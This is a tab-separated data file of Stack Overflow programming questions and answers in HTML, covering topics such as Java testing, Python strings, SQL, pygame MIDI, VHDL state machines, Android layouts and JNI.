28439200	0	Developing a testing tool <p>I am developing a testing tool. Is it possible to add JUnit functionality to a java application so that the application (itself) can run test cases against a specified java code. In a more specific way, the application takes a folder of test cases, and the code to be tested, it then runs the test cases against that code.</p> <p>if it is possible, what is the required libraries to include in the application?</p> <p>Thanks.</p>
36156921	0	 <p>Adding a space to the end of a string is as simple as just using <code>+</code>:</p> <pre><code>string = 'a' new_string = string + ' ' </code></pre> <p>So you just need to iterate each item in your list and append the space:</p> <pre><code>for string in sliced: print string + ' ' </code></pre> <p>So could just create a new list with a simple list comprehension</p> <pre><code>new_sliced = [slice + ' ' for slice in sliced] </code></pre> <p>Or alternatively, if you want to change the <code>sliced</code> list in place you could use the enumerate builtin to get the index of each element of your list</p> <pre><code>for i, slice in enumerate(sliced): sliced[i] = slice + ' ' </code></pre>
2846471	0	 <p>Look at the Unicode <a href="http://www.fileformat.info/info/unicode/category/index.htm" rel="nofollow noreferrer">character categories</a>. You can match these in C# regular expressions with the character class syntax <code>\p{catname}</code>. So to match a lower-case letter, you would use <code>\p{Ll}</code>. You can combine these. <code>[\p{Ll}\p{Lu}]</code> matches characters in either the Ll or Lu class.</p>
16341128	0	 <p>I think I basically did what prodigitalson suggested...</p> <p>I <code>include()</code> a call to a php file that inserts a new shot(same query as in my question)</p> <p>Then I <code>include()</code> another call to another php file that selects this new row I just inserted and assigns each column of the result row into variables and then into session variables</p> <p>Then the session variables are used in my script that uploads the image to my server with the <code>image filename</code> and also creates a thumbnail image based on my <code>shrunk image filename</code>.</p>
5634487	0	If A extends B extends C, why can I cast to A but get a ClassCastException casting to C? <p>I am trying to read an ASN1 object using Bouncycastle on Android. I expect it to be a DERSequence, which in Bouncycastle is a subclass of ASN1Sequence, which is a subclass of ASN1Object.</p> <pre><code>import org.bouncycastle.asn1.ASN1InputStream; import org.bouncycastle.asn1.ASN1Object; import org.bouncycastle.asn1.ASN1Sequence; import org.bouncycastle.asn1.DERSequence; ... ASN1InputStream ais = ...; Object o = ais.readObject(); // Eclipse's debugger now says o is a DERSequence, as expected. DERSequence o2 = (DERSequence)o; ASN1Sequence o3 = o2; ASN1Object o4 = o3; // And o4 is now exactly what I want. ASN1Object o5 = (ASN1Object)o; // But this throws: /// java.lang.ClassCastException: org.bouncycastle.asn1.DERSequence </code></pre> <p>Based on feedback from the answers, I have constructed another, shorter example:</p> <pre><code>Object o = new DERSequence(); ASN1Object o1 = new DERSequence(); // This behaves fine. ASN1Object o2 = (ASN1Object)o; // Throws ClassCastException. </code></pre> <p>What causes this cast to fail?</p>
19554136	0	 <p>Because the code you have posted is not the same that the code you are trying to compile.</p> <p>The following line</p> <pre><code>void function1(std::ostream&amp;, const std::string&amp;, double function2(const infocontainer&amp;, const std::string&amp;), const infocontainer, const infocontainer); </code></pre> <p>is missing a <code>const</code> before <code>std::string &amp;</code> in the third parameter in the code you are trying to compile.</p>
20814433	0	 <pre><code>strtr($str, ['&lt;' =&gt; '', '.' =&gt; '']); </code></pre> <p>This will probably outperform anything else, because it doesn't require you to iterate over anything in PHP.</p>
18130746	0	 <p>Read each line one by one with <a href="http://en.cppreference.com/w/c/io/fgets" rel="nofollow"><code>fgets</code></a> then split them with <a href="http://en.cppreference.com/w/c/string/byte/strtok" rel="nofollow"><code>strtok</code></a> and parse with <a href="http://en.cppreference.com/w/c/string/byte/strtol" rel="nofollow"><code>strtol</code></a>.</p> <p>Something like this:</p> <pre><code>char line[256]; int l = 0; while (fgets(line, sizeof(line), input_file)) { int n = 0; for (char *ptr = strtok(line, " "); ptr != NULL; ptr = strtok(NULL, " ")) { key1[l][n++] = strtol(ptr, NULL, 10); } l++; } </code></pre>
4497541	0	 <p>As far as operator <code>as</code> returns <code>null</code> in failure case, variable should be a class or nullable struct:</p> <p>Meanwhile <code>cast</code> requires nothing like that and you can cast struct on struct.</p>
12237281	0	 <p>All the bottlenecks you posted seem to be from setting the BorderWidth property on your shapes. I'm guessing you do repainting or updating the layout of the shapes in BorderWidth. If you set BorderWidth on a container there will a lot of unnecessary repaints and layout changes which are kind of slow in WinForms (specially for layouts, if your shapes inherit from Control).</p> <p>Might I suggest a <em>BeginUpdate</em> *EndUpdate* mechanism like some other WinForms controls?</p>
38932505	0	 <p>Try this ;)</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(document).ready(function() { $('.bg-primary').on('click', function() { $('.' + $(this).attr('id')).slideToggle(); }).css('cursor', 'pointer'); });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.hide { display: none; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;table border="1"&gt; &lt;thead&gt; &lt;tr class="btn-info"&gt; &lt;th&gt;header&lt;/th&gt; &lt;th&gt;header&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tr id="main1" class="bg-primary"&gt; &lt;td&gt;maintext1&lt;/td&gt; &lt;td&gt;maintext1&lt;/td&gt; &lt;/tr&gt; &lt;tr class="bg-info main1 hide"&gt; &lt;td&gt;subtext1&lt;/td&gt; &lt;td&gt;subtext1&lt;/td&gt; &lt;/tr&gt; &lt;tr class="bg-info main1 hide"&gt; &lt;td&gt;subtext1&lt;/td&gt; &lt;td&gt;subtext1&lt;/td&gt; &lt;/tr&gt; &lt;tr id="main2" class="bg-primary"&gt; &lt;td&gt;maintext2&lt;/td&gt; &lt;td&gt;maintext2&lt;/td&gt; &lt;/tr&gt; &lt;tr name="toggletext2" class="bg-info main2 hide"&gt; &lt;td&gt;subtext2&lt;/td&gt; &lt;td&gt;subtext2&lt;/td&gt; &lt;/tr&gt; &lt;tr name="" class="bg-info main2 hide"&gt; &lt;td&gt;subtext2&lt;/td&gt; &lt;td&gt;subtext2&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt;</code></pre> </div> </div> </p>
20135079	0	Fence plot (or Wall plot?) density plots in R or GNUPLOT <p>Hi I have some ensembles for stochastic simulations of a system. I would like to represent these data as histograms in a fence plot in a similar way to what is shown here:</p> <p><a href="http://stackoverflow.com/questions/9009154/3d-parametric-graph-in-gnuplot">3D parametric graph in Gnuplot</a></p> <p><a href="http://lee-phillips.org/qdf/" rel="nofollow">http://lee-phillips.org/qdf/</a></p> <p><a href="http://gnuplot-tricks.blogspot.mx/2009/08/return-of-wall-chart-entirely-in.html" rel="nofollow">http://gnuplot-tricks.blogspot.mx/2009/08/return-of-wall-chart-entirely-in.html</a></p> <p>However, I am not sure about how to do it with histograms (in principle, it is quite confusing for me to make histograms in GNUPLOT, I've already checked <a href="http://stackoverflow.com/questions/2471884/histogram-using-gnuplot">Histogram using gnuplot?</a> and some other posts). I know how to make histograms in R and I've successfully tried things like this:<a href="http://rgraphgallery.blogspot.mx/2013/04/rg10-plotting-multiple-suprimposed.html" rel="nofollow">http://rgraphgallery.blogspot.mx/2013/04/rg10-plotting-multiple-suprimposed.html</a> <a href="http://learnr.wordpress.com/2009/06/28/ggplot2-version-of-figures-in-lattice-multivariate-data-visualization-with-r-part-1/" rel="nofollow">http://learnr.wordpress.com/2009/06/28/ggplot2-version-of-figures-in-lattice-multivariate-data-visualization-with-r-part-1/</a></p> <p>My data looks like this:</p> <pre><code> # time Aa As 0.000000000000e+00 0.000000000000e+00 0.000000000000e+00 5.000000000000e-01 0.000000000000e+00 0.000000000000e+00 1.000000000000e+00 0.000000000000e+00 0.000000000000e+00 1.500000000000e+00 0.000000000000e+00 0.000000000000e+00 2.000000000000e+00 2.000000000000e+00 0.000000000000e+00 2.500000000000e+00 2.000000000000e+00 0.000000000000e+00 3.000000000000e+00 2.000000000000e+00 0.000000000000e+00 3.500000000000e+00 2.000000000000e+00 0.000000000000e+00 4.000000000000e+00 2.000000000000e+00 0.000000000000e+00 4.500000000000e+00 3.000000000000e+00 0.000000000000e+00 . . 0.000000000000e+00 0.000000000000e+00 0.000000000000e+00 5.000000000000e-01 0.000000000000e+00 0.000000000000e+00 1.000000000000e+00 0.000000000000e+00 0.000000000000e+00 1.500000000000e+00 0.000000000000e+00 0.000000000000e+00 2.000000000000e+00 0.000000000000e+00 0.000000000000e+00 2.500000000000e+00 0.000000000000e+00 0.000000000000e+00 3.000000000000e+00 2.000000000000e+00 0.000000000000e+00 3.500000000000e+00 3.000000000000e+00 0.000000000000e+00 4.000000000000e+00 3.000000000000e+00 0.000000000000e+00 . . . </code></pre> <p>I have around 1000 different stochastic simulations and I want to plot together density plots for the Aa column in different times, for example time zero, 100 and 1000. And make it look like the firsts posts I included here. I hope this post is enoughly clear. Please let me know I you need any further information.</p>
18735164	0	 <p>After enabling Java 1.5 mode with Trex's answer, you can access the generic types of <code>fieldType</code> using </p> <pre><code>Type[] typeArguments = fieldType.asParameterizedType().typeArguments() </code></pre>
40048763	0	 <p>You just had your logic wrong. This should work for you.</p> <pre><code>Do While E1 &lt; 4 OrElse E1 Mod 2 &lt;&gt; 0 E1 = CInt(Int((11 * Rnd()) + 1)) Loop Do While E1 Mod E2 &lt;&gt; 0 OrElse _ E2 = 1 OrElse _ E2 = 0 OrElse _ E1 = E2 E2 = CInt(Int((11 * Rnd()) + 1)) Loop </code></pre>
10566312	0	 <p>Given that <code>$index</code> is an integer you could just break out of the loop:</p> <pre><code>foreach ($images as $index =&gt; $image) { echo '&lt;li&gt;&lt;a href="'.$image['XLargeURL'].'"&gt;&lt;img src="'.$image['TinyURL'].'" alt="thumbnail"/&gt;&lt;/li&gt;'; if ($index &gt;= 5) { break; } } </code></pre>
21757417	0	 <p>There's no way that Exception <em>originated</em> from the code you posted. If <code>OnInit</code> is aprt of the stack trace, then the exception <em>has</em> to have been thrown from (or passed through) <code>InitializeComponent</code> or <code>base.OnInit(e)</code></p> <p>Run it in the debugger and see where the exception <em>actually</em> originates. You can also turn on "break on handled exception" if you want, but you'll likely get some false positives.</p>
8072716	0	How to fix "function not allowed" when using row_number() over a view? <pre><code>select * from ( select a.*,row_number() over() as rk from table1 tba ) as foo where rk between 11 and 20 </code></pre> <p>This works for database table. I am using a view which is a join of 2 tables. When i try to do rownum it is saying: "<strong>Function not allowed</strong>"</p> <pre><code>select * from ( select a.*,row_number() over() as rk from view1 v1 ) as foo where rk between 11 and 20 </code></pre> <p>Any suggestion or alternative for rownum in DB2?</p>
8864576	0	 <p>I'm assuming you're using ajax to pull in your data from the php file. You'll need to call this function in the success callback of your ajax request.</p>
23252455	1	how to put data(id) in form (wtforms) and get it back on submit <p>I am new to wtforms, so I`ll really appreciate any help. </p> <p>I need to display books names and near each put "Delete" button. I`ve read <a href="http://wtforms.readthedocs.org/en/1.0.4/crash_course.html" rel="nofollow">wtforms crash course</a> but I have no idea how to solve my problem with it.</p> <p>So I decided to do it other way - my best idea is to render to template a dict with id and name and on submit return id, but I still can`t do it. Code examples are below.</p> <p>It`s view.py</p> <pre><code>@application.route('/delete', methods=['GET', 'POST']) def delete(): books_lib = mydatabase.get_all_books() form = DeleteForm(request.form) if request.method == 'POST': delete_id = form.id.data mydatabase.del_book(delete_id) return render_template('delete.html', form = form, books_lib = books_lib) return render_template('delete.html', form = form, books_lib = books_lib) </code></pre> <p>It`s template</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;body&gt; &lt;h2&gt;book to delete&lt;/h2&gt; &lt;form action="/delete" name="delete" method="POST"&gt; {% if books_lib %} {% for id, book in books_lib.items() %} &lt;p&gt;{{book}}:&lt;input type="submit" value="Delete" id="{{id}}"&gt; {% endfor%} {% endif %} &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>It`s form</p> <pre><code>class DeleteForm(Form): book = TextField("Book name", [validators.Length(min=2, max=25)]) id = HiddenField("id") </code></pre>
39931184	0	 <p>Change your last rule to this,</p> <pre><code># If the request is not for a valid directory RewriteCond %{REQUEST_FILENAME} !-d # If the request is not for a valid file RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([a-z]+)/$ home/index.php?nLang=$1 [L,QSA,NC] </code></pre> <p>That way it will only handle language parameter e.g. <code>/it/</code> or <code>/en/</code> but will let other URLs e.g. <code>/it/dummy/</code> go to 404 handler. </p>
36054503	0	 <p>You have to add it at the end and beginning also because <code>Join</code> will only <em>combine</em> two strings. Having said this when combining <code>"1"</code> and <code>"2"</code> with a speaterator of <code>','</code> you get <code>"1','2"</code> where the seperator is just added <em>between</em> the two elements.</p> <p>As of <a href="https://msdn.microsoft.com/library/57a79xd0%28v=vs.110%29.aspx" rel="nofollow">MSDN</a>:</p> <blockquote> <p>Concatenates all the elements of a string array, using the specified separator <strong>between each element</strong>.</p> </blockquote> <p>In the end the following solution seems to be best in terms of memory and speed because you have least number of string-concatenations (two for start and end and one for every element --> 2 + n). </p> <pre><code>var daysConverted = "'" + string.Join("','", days) + "'"; </code></pre>
40658544	0	 <p>The compiler attempts to resolve implicits before eta-expansion of <code>from</code> into a function, so the type parameters of <code>from</code> are not yet inferred when you call it like this:</p> <pre><code>future.map(from) </code></pre> <p><code>compiles2</code> obviously works because you supply the type parameters on your own. When you call <code>future.map(from[C1, C2])</code>, the compiler knows it will need an implicit <code>C1 =&gt; C2</code>, because that's what you've told it.</p> <p>With <code>compiles1</code>, the difference is a little more subtle, but it stems from the fact that <code>future.map(from)</code> and <code>future.map(x =&gt; from(x))</code> are actually very different things. The former uses eta-expansion, which fails for the aforementioned reasons. With <code>future.map(x =&gt; from(x))</code>, there is no eta-expansion happening. Instead, you have an anonymous function that simply <em>calls</em> <code>from</code> instead of eta-expanding it. Therefore, the compiler can infer the type of <code>x</code>, which tells us that <code>x</code> is a <code>C1</code> (in this case), and it can find the implicit conversion <code>c1ToC2</code> that satisfies the type parameters of <code>from</code> while resolving the implicit and the final return type of the method, <code>Future[C2]</code>.</p>
584287	0	 <p>If you have a large pool of proxies you can use, then I suppose you could switch between them, but otherwise no, you generally can't just renew your IP address whenever you feel like it.</p> <p>You might want to look into <a href="http://www.torproject.org/" rel="nofollow noreferrer">Tor</a>, an anonymizing network which does something like what you're asking about.</p>
19113717	1	playing midi sounds through pygame on raspberrypi <p>I'm trying to play midi sounds using pygame on my raspberrypi (without external midi devices), however I can't get anything to work.</p> <p>I have tried many examples: The following gives.</p> <pre><code>import pygame import time import pygame.midi pygame.midi.init() player= pygame.midi.Output(0) player.set_instrument(48,1) major=[0,4,7,12] def go(note): player.note_on(note, 127,1) time.sleep(1) player.note_off(note,127,1) def arp(base,ints): for n in ints: go(base+n) def chord(base, ints): player.note_on(base,127,1) player.note_on(base+ints[1],127,1) player.note_on(base+ints[2],127,1) player.note_on(base+ints[3],127,1) time.sleep(1) player.note_off(base,127,1) player.note_off(base+ints[1],127,1) player.note_off(base+ints[2],127,1) player.note_off(base+ints[3],127,1) def end(): pygame.quit() </code></pre> <p>Gives the following error</p> <pre><code>PortMidi call failed... PortMidi: 'Bad pointer' type ENTER... </code></pre> <p>The next example (like most of the others) gives a 'Device id invalid, out of range.' error:</p> <pre><code>import pygame import pygame.midi from time import sleep instrument = 0 note = 74 volume = 127 pygame.init() pygame.midi.init() for id in range(pygame.midi.get_count()): print pygame.midi.get_device_info(id) port = 2 midiOutput = pygame.midi.Output(port, 1) midiOutput.set_instrument(instrument) for note in range(0,127): midiOutput.note_on(note,volume) sleep(.25) midiOutput.note_off(note,volume) del midiOutput pygame.midi.quit() </code></pre> <p>Gives this error</p> <pre><code>('ALSA', 'Midi Through Port-0', 0, 1, 0) ('ALSA', 'Midi Through Port-0', 1, 0, 0) Traceback (most recent call last): File "midi-test2.py", line 16, in &lt;module&gt; midiOutput = pygame.midi.Output(port, 1) File "/usr/lib/python2.7/dist-packages/pygame/midi.py", line 414, in __init__ raise MidiException("Device id invalid, out of range.") pygame.midi.MidiException: 'Device id invalid, out of range.' </code></pre> <p>I haven't found any guides to setting up a RaspberryPi to play midi sounds, any suggestions?</p>
33554871	0	How to use/declare an unsigned Integer value in VHDL? <p>I'm trying to design a basic Vending machine on a Altera DE1-SoC Board. My question comes from trying to code the State Machine that will control the vending process. How do you track the $ value being added jumping between states? I think the code I'm trying to implement is written in a higher level language format and is not being able to be compiled in VHDL. Any ideas?</p> <p>I'm getting this error (right after the Architecture declaration):</p> <blockquote> <p>Error (10482): VHDL error at State.vhd(21): object "unsignedInteger" is used but not declared</p> </blockquote> <pre><code>library ieee; use ieee.std_logic_1164.all; use IEEE.numeric_std.all; use IEEE.std_logic_unsigned.all; entity MessageState is Port( Reset :in std_logic; -- reset to a safe state ----------------------------------------------------------------------------------- MyStateOut :out std_logic_vector( 1 downto 0 ); -- drive the current state to display or LEDs OutputCode :out std_logic_vector( 6 downto 0 ) -- to the display driver ); end; architecture Vending_FSM of MessageState is signal Count: unsignedInteger(8 downto 0); -- we define a data type to represent the states. Use descriptive names -- add more lines for more states. Change the size of MyState as needed subtype MyState is std_logic_vector(2 downto 0); constant Idle :MyState := "000"; constant NickelState :MyState := "001"; constant DimeState :MyState := "010"; constant QuarterState :MyState := "011"; constant Dispense :MyState := "100"; signal state, next_state: MyState; begin MyStateOut &lt;= state; -- make state visible. MyNextState: process(state, next_state) begin -- add all signals read or tested in this process case state is when Idle =&gt; if ( KEY(0) = '1') then next_state &lt;= NickelState; elsif ( KEY(1) = '1') then next_state &lt;= DimeState; elsif ( KEY(2) = '1') then next_state &lt;= QuarterState; else next_state &lt;= Idle; -- default action Count &lt;= (others =&gt; '0'); end if; </code></pre>
40322536	0	How can I change the border thickness of an Android checkbox? <p>The default size of the android checkboxes were too small for my purposes, so I changed their overall size, however with their new size their borders now are horribly thick. </p> <p>In what way could I change the thickness? I quite like the default behavior of the checkboxes, so the only thing I would like to change is the thickness of the border. </p> <p>Code used to make the checkbox larger: </p> <pre><code>&lt;CheckBox android:id="@+id/item_switch" android:layout_width="160dp" android:layout_height="160dp" android:button="@null" android:background="?android:attr/listChoiceIndicatorMultiple"/&gt; </code></pre> <p>From this <a href="http://stackoverflow.com/a/36071778/7089738">SO answer</a>.</p>
5109018	0	 <p>The nested lexical scope example that someone gave gives several benefits.</p> <ol> <li>"Safer" globals</li> <li>It is one method to embed DSL's into your program. </li> </ol> <p>I think that is a very good example of the differences between the two languages. Ruby is simply more flexible. Python can be flexible, but you often have to do extreme contortions to get there, which makes it not worth the hassle.</p> <p>Sorry for not posting under the original answer, I guess I don't have privileges to do that.</p>
30019358	0	Android List View Scrolling Items Randomize <p>my ListView works fine except when I scroll fast some of the items are duplicated and in random order. It's kind of hard to explain but here's the beginning of my getView method.</p> <pre><code>@Override public View getView(final int position, View convertView, ViewGroup arg2) { View view; if (convertView == null) { LayoutInflater inflater = (LayoutInflater) context .getSystemService(Context.LAYOUT_INFLATER_SERVICE); view = inflater.inflate(R.layout.list_item, null); }else{ view = convertView; }....... </code></pre> <p>In my MainActivity I call notifySetAdapterChanged(). Anyone know how to fix this?</p> <p>Here is what the Logcat says each getView():</p> <p>-Layouts #:1 and position is 0</p> <ul> <li>Layouts #:1 and position is 0 Layouts #:2 and position is 1 Layouts #:3 and position is 2 Layouts #:4 and position is 3 Layouts #:5 and position is 4 Layouts #:6 and position is 5 Layouts #:7 and position is 6 Layouts #:8 and position is 7 Layouts #:9 and position is 8 //click one of the list items Layouts #:10 and position is 0 Layouts #:11 and position is 1 Layouts #:12 and position is 2 Layouts #:13 and position is 3 Layouts #:14 and position is 4 Layouts #:14 and position is 5 Layouts #:14 and position is 6 Layouts #:14 and position is 7 Layouts #:14 and position is 8 Layouts #:14 and position is 0 Layouts #:14 and position is 1 Layouts #:14 and position is 2 Layouts #:14 and position is 3 Layouts #:14 and position is 4 Layouts #:14 and position is 5 Layouts #:14 and position is 6 Layouts #:14 and position is 7</li> </ul>
10133796	0	 <p>You can override <code>-[NSView viewWillMoveToSuperview:]</code> in a custom NSView subclass. This is simply a means for your class to be notified when its position in the view hierarchy is about to change. It doesn't have some deeper meaning other than what its name implies, but you can, of course, harness it to serve various purposes. It's not a method on a delegate or on the view controller, but you can implement such delegation yourself if you want.</p> <p>Also, if your code is moving views around the view hierarchy, it can directly do whatever it wants immediately beforehand, which is also roughly when such a method would be called.</p>
33740324	0	GetMethodID for "getName" is returning NULL <p>I have been trying to print out the class name from a jclass object.</p> <p><code>jmethodID mid_getName = env-&gt;GetMethodID(point_class, "getName", "()Ljava/lang/String;");</code></p> <p>The <code>point_class</code> object is not NULL.</p> <p>I used this snippet from <a href="http://stackoverflow.com/questions/12719766/can-i-know-the-name-of-the-class-that-calls-a-jni-c-method">Can I know the name of the class that calls a JNI C method?</a> and <a href="http://stackoverflow.com/questions/9265457/class-name-from-jclass-in-jni">Class name from jclass in JNI</a></p> <p>On another note, I am doing JNI programming for android and my <code>FindClass</code> method is returning NULL when I want to create Java object on the native side. No proguard issue or anything else.</p> <p>Code:</p> <pre><code>JNIEXPORT void JNICALL long_JNI_method_name (JNIEnv * env, jobject object, jlong image, jint screenHeight, jint screenWidth) { jclass point_class = env-&gt;GetObjectClass(object); jmethodID mid_getName = env-&gt;GetMethodID(point_class, "getName", "()Ljava/lang/String;"); ... </code></pre> <p>I changed the JNI method name as it had package name(where I work) in it.</p>
21881417	0	 <p>Try this.</p> <pre><code>&lt;?php include("connect.php"); if( isset($_GET['del']) ) { $id = (int)$_GET['del']; $sql = "DELETE termekek WHERE id = $id" ; echo "&lt;a href='admin.php'&gt;Back&lt;/a&gt;"; } ?&gt; </code></pre>
17192980	0	R submit to CRAN: which R version to build package? <p>I want to submit a package to CRAN. In the <a href="http://cran.r-project.org/web/packages/policies.html" rel="nofollow">CRAN repository policy</a> it states that <strong>"Packages for which R CMD check gives an ‘ERROR’ when a new R x.y.0 version is released will be archived"</strong>.</p> <p>It also says <strong>"Please ensure that R CMD check --as-cran has been run on the tarball to be uploaded before submission"</strong>.</p> <p>Running <code>R CMD check --as cran</code> on my tarball gives me the warning:</p> <pre><code>Warning: unknown option ‘--as-cran’ </code></pre> <p>I am running R version 2.14.1 on Ubuntu 12.04.2 LTS. Can I build a source package using this version or do I have to use R 3.0?</p> <p>And why does <code>R CMD check --as-cran</code> not work for me?</p>
33098343	0	 <p>What about <code>set -v</code>?</p> <blockquote> <p><code>-v</code> Print shell input lines as they are read.</p> </blockquote> <p>The output seems to meet your expectation.</p> <pre><code>$ set -v $ ./command1 &gt; output1 ./command1 &gt; output1 sh: ./command1: No such file or directory $ ./command2 arg1 arg2 &gt; output2 ./command2 arg1 arg2 &gt; output2 sh: ./command2: No such file or directory $ ./command3 | tee output3 ./command3 | tee output3 sh: ./command3: No such file or directory </code></pre>
557593	0	 <p><a href="http://www.gnuplot.info/" rel="nofollow noreferrer">GnuPlot</a> is a the old reliable answer here, easy graphing with lots of options. I believe there are python bindings but it's probably easier to export your data and run it through regular gnuplot. Here's an ancient <a href="http://parand.com/docs/gnuplot.html" rel="nofollow noreferrer">quick start doc</a> for it.</p> <p>I'm also using <a href="http://matplotlib.sourceforge.net/" rel="nofollow noreferrer">matplotlib</a> with great success for larger data sizes.</p>
18356882	0	 <p>Call merge(), and use its returned value: it's the attached entity containing the values found in the detached entity passed as argument:</p> <pre><code>Foo modifiedAttachedFoo = session.merge(modifiedDetachedFoo); modifiedAttachedFoo.getLazyCollection().size(); // no problem: the entity is attached </code></pre>
29378657	0	 <p>Change this line from your form element:</p> <pre><code>name="payment_amount" </code></pre> <p>to be an array:</p> <pre><code>name="payment_amount[]" </code></pre> <p>Then, modify your <code>foreach</code> to read as:</p> <pre><code>foreach ($_POST['payment_amount'] as $value) { echo $value . "&lt;br&gt;"; } </code></pre> <ul> <li>You were using the wrong POST array => <code>name="payment_id[]"</code></li> </ul> <p>To add them all up, should you want to do that, use:</p> <pre><code>foreach ($_POST['payment_amount'] as $value) { echo $value . "&lt;br&gt;"; $total += $value; } echo $total; </code></pre> <p>or</p> <pre><code>$total = array_sum($_POST['payment_amount']); </code></pre>
40258608	1	python: extract and download an image from the body of the email <p>I am trying to read the content of the email. If an email contains an image in the <strong>BODY</strong> part I need to extract and save it in the local Here is the code for getting the body content</p> <pre><code>def get_body(id): res, mail_data = connection.fetch(id, '(RFC822)') raw_email=mail_data[0][1] email_message_instance = email.message_from_string(raw_email) whole_body = '' for part in email_message_instance.walk(): if part.get_content_type() == "text/plain": # ignore attachments/html body = part.get_payload(decode=True) whole_body += body + ' ' else: continue return whole_body </code></pre>
27332767	0	 <p>To quickly answer your question I will first provide solution.</p> <p>Although this is not best practice, and not helping you learn the right approach to design html structure and traverse the DOM in efficient and quick way, it will solve this specific problem.</p> <p>If it was all designed better, this might not require Javascript at all and CSS would be perfect solution.</p> <p>I do not want to explain How my solution work, so you will have the opportunity to learn from this.</p> <p>I replaced the following tow lines:</p> <pre><code>afterSlideLoad:(function(){ $(".active").parent().css("color", "black"); $(".active").parent().parent().css("color", "black"); }) </code></pre> <p>To this. this is broken to lines, for better understanding. [of-course this works in code too.]):</p> <pre><code> afterLoad: function(){ /* Here comes your previous code... */ console.log('afterSlideLoad Changed to afterLoad'); $('.inlinedColor') .css('color','gray') .removeClass('inlinedColor'); $('li.active') .prevAll('span.year') .first() .add( $('li.active') .parents('li') .find('&gt;a span span') ) .addClass('inlinedColor') .css('color','black'); } </code></pre> <p>All the above available here: <a href="http://jsfiddle.net/rwde78ts/10/" rel="nofollow">http://jsfiddle.net/rwde78ts/10/</a></p> <p>If you did not managed to figure it out on your own, do not hesitate to ask, so i could explain line by line.</p>
1691470	0	Edited most errors, Now Compiles, but does not Run, what am I doing wrong? <pre><code>#include &lt;cstdlib&gt; #include &lt;iomanip&gt; #include &lt;iostream&gt; #include &lt;string&gt; using std::cout; using std::cin; using std::endl; using std::string; using std::setprecision; using std::fixed; //function prototypes void getInput(string &amp;, double); void calcFedTaxes(double , double, double &amp;, double &amp;); void calcnetPay(double &amp;, double , double, double); void displayInfo(string, double, double, double); int main() { //declare constants and variables const double FWT_RATE = .2; const double FICA_RATE = .08; string dname = ""; double dsalary = 0.0; double dfwtTax = 0.0; double dficaTax = 0.0; double dnetPay = 0.0; //display output in fixed-point notation with two decimal places cout &lt;&lt; fixed &lt;&lt; setprecision(2); //call function to get input and calculate salary and taxes void getInput(string dname, double dsalary, double dnetPay); void calcFedTaxes(double Fsalary, double FwtRate, double FicaRate, double &amp; withholdingTax, double &amp; incomeTax); void calcnetPay(double &amp; netPay, double weeklySalary, double fwtTax, double ficaTax); void displayInfo (string dname, double dfwtTax, double dficaTax, double dnetPay); system ("pause"); } //end call function //*****function definitions***** void getInput(string iname, double isalary) { //enter input items cout &lt;&lt; "Enter name: "; cin &gt;&gt; iname; cout &lt;&lt; "weekly salary: "; cin &gt;&gt; isalary; } void calcFedTaxes (double Fsalary, double FwtRate, double FicaRate, double &amp; withholdingTax, double &amp; incomeTax) { withholdingTax = Fsalary * FwtRate; incomeTax = Fsalary * FicaRate; } void calcnetPay(double &amp; netPay, double weeklySalary, double fwtTax, double ficaTax) { netPay = weeklySalary - fwtTax - ficaTax; } void displayInfo(string dname, double dfwtTax, double dficaTax, double dnetPay) { cout &lt;&lt; "name: " &lt;&lt; dname; cout &lt;&lt; "With holding Tax: " &lt;&lt; dfwtTax; cout &lt;&lt; "With holding Fica: "&lt;&lt;dficaTax; cout &lt;&lt; "Net pay: " &lt;&lt;dnetPay; cin&gt;&gt; dnetPay; //end of displayInfo function return; } </code></pre>
4043455	0	Which costs more while looping; assignment or an if-statement? <p>Consider the following 2 scenarios:</p> <pre><code>boolean b = false; int i = 0; while(i++ &lt; 5) { b = true; } </code></pre> <p>OR</p> <pre><code>boolean b = false; int i = 0; while(i++ &lt; 5) { if(!b) { b = true; } } </code></pre> <p>Which is more "costly" to do? If the answer depends on used language/compiler, please provide. My main programming language is Java.</p> <p>Please do not ask questions like why would I want to do either.. They're just barebone examples that point out the relevant: should a variable be set the same value in a loop over and over again or should it be tested on every loop that it holds a value needed to change?</p>
33004021	0	 <p>After reading through parse doc, I figured out that AppDelegate.m file should be updated like this for IOS 9:</p> <blockquote> <p>There's also two code changes you'll need to make. First, add the following to your application:didFinishLaunchingWithOptions: method, after you've initialized the Parse SDK.</p> <pre><code>// AppDelegate.m #import &lt;FBSDKCoreKit/FBSDKCoreKit.h&gt; #import &lt;ParseFacebookUtilsV4/PFFacebookUtils.h&gt; @implementation AppDelegate - (void)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { [Parse setApplicationId:@"parseAppId" clientKey:@"parseClientKey"]; [PFFacebookUtils initializeFacebookWithApplicationLaunchOptions:launchOptions]; } Next, add the following handlers in your app delegate. - (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation { return [[FBSDKApplicationDelegate sharedInstance] application:application openURL:url sourceApplication:sourceApplication annotation:annotation]; } - (void)applicationDidBecomeActive:(UIApplication *)application { [FBSDKAppEvents activateApp]; } </code></pre> <p>There are two main ways to use Facebook with your Parse users: (1) to log in (or sign up) as a Facebook user and creating a PFUser, or (2) linking Facebook to an existing PFUser.</p> </blockquote>
